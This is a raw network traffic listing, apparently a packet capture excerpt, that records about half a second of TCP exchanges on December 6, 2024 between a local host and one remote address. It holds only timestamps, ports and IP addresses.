Dec 6, 2024 14:19:43.847178936 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.847244978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.848202944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.848249912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.848314047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.849149942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.849205017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.849250078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.850119114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.850162029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.850238085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.851130962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.851185083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.851279974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.852040052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.852080107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.852417946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.853022099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.853156090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.853194952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.854054928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.854091883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.854125023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.854985952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.855065107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.855118036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.855993032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.856040955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.856081963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.857019901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.857068062 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.857161045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.858006001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.858079910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.858108044 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.858963013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.859014988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.859066963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.882687092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.882761002 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.882790089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.883068085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.883171082 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.883219004 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.884099960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.884215117 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.884254932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.885159016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.885313988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.003078938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.003113031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.003155947 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.003582001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.003683090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.003736019 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.004806042 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.004905939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.005143881 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.005893946 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.006048918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.006151915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.006625891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.006683111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.006901979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.007472992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.007590055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.007709980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.008486032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.008618116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.008761883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.009448051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.009571075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.009774923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.010456085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.010704041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.010752916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.011533976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.011678934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.011727095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.012463093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.012636900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.012686014 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.013442993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.013576031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.013664961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.014441967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.014622927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.014710903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.015439987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.015520096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.015569925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.016390085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.016457081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.016519070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.017353058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.017482996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.017523050 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.018384933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.018487930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.018562078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.019367933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.019551039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.020387888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.020442963 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.020576954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.021315098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.021374941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.021429062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.021476030 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.022365093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.022496939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.022634983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.023296118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.023355007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.023403883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.024301052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.024478912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.024527073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.025285959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.025466919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.025516033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.026281118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.026396036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.026521921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.027333975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.027451038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.027501106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.028368950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.028572083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.028637886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.032428980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032532930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032545090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032579899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032588959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.032628059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032629013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.032643080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032655954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032685041 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.032834053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.032887936 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.033241034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.033356905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.033463955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.034255028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.034353018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.034415960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.035195112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.035343885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.035454035 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.036214113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.036252022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.036290884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.037161112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.037282944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.037467003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.038151026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.038172007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.038217068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.039216995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.039283991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.039545059 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.040111065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.040314913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.040376902 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.041191101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.041280985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.041327000 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.042119980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.042280912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.042562008 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.043088913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.043194056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.043277979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.044090033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.044230938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.044281960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.045110941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.045207977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.045423985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.046094894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.046447992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.047079086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.047133923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.047260046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.048070908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.048129082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.048201084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.048247099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.049027920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.049154043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.049223900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.050009966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.050057888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.050107956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.051126957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.051220894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.051863909 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.074506044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.074609041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.074698925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.074956894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.075117111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.075170040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.076016903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.076158047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.076209068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.077282906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.118459940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.195050955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.195097923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.195182085 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.195487976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.195600986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.195683002 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.196501970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.196579933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.196646929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.197499037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.197649956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.197765112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.198533058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.198626995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.198884010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.199465036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.199604034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.199645042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.200459003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.200577974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.200695992 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.201436996 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.201554060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.201601028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.202409983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.202553988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.202605009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.203437090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.203500986 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.203542948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.204405069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.204549074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.204591036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.205396891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.205498934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.205581903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.206525087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.206703901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.206788063 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.207578897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.207699060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.207745075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.208544970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.208666086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.208774090 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.209414005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.209726095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.209780931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.210474968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.210488081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.210545063 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.211358070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.211446047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.211494923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.212335110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.212426901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.212474108 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.213341951 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.213411093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.213465929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.214294910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.214334011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.214397907 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.215286016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.215403080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.215475082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.216304064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.216403961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.216469049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.217272997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.217366934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.217430115 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.218267918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.218380928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.218506098 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.219254971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.219407082 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.219454050 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.220271111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.220377922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.220427990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.221254110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.221358061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.221627951 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.222230911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.222474098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.222518921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.223201036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.223251104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.223335028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.224328041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.224503040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.224611044 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.225219011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.225430012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.225475073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.226187944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.226386070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.226433992 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.227137089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.227309942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.227356911 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.228205919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.228286028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.228341103 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.229171038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.229263067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.229305983 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.230135918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.230278969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.230349064 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.231374979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.231486082 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.231739998 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.232409000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.232630968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.232680082 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.233151913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.233283997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.233321905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:44.234112978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.234209061 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:44.234287977 CET	49704	1128	192.168.2.5	45.202.33.26
